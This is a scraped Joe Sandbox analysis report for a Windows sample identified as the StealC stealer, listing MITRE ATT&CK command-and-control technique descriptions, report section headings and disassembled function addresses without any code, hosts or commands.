Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 01009860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 00FF45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00FF4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 01009C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00FF6280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 01005510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Function 010017A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 01007500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Function 010069F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 00FF1220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Function 01006AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 00FF47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 010051F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON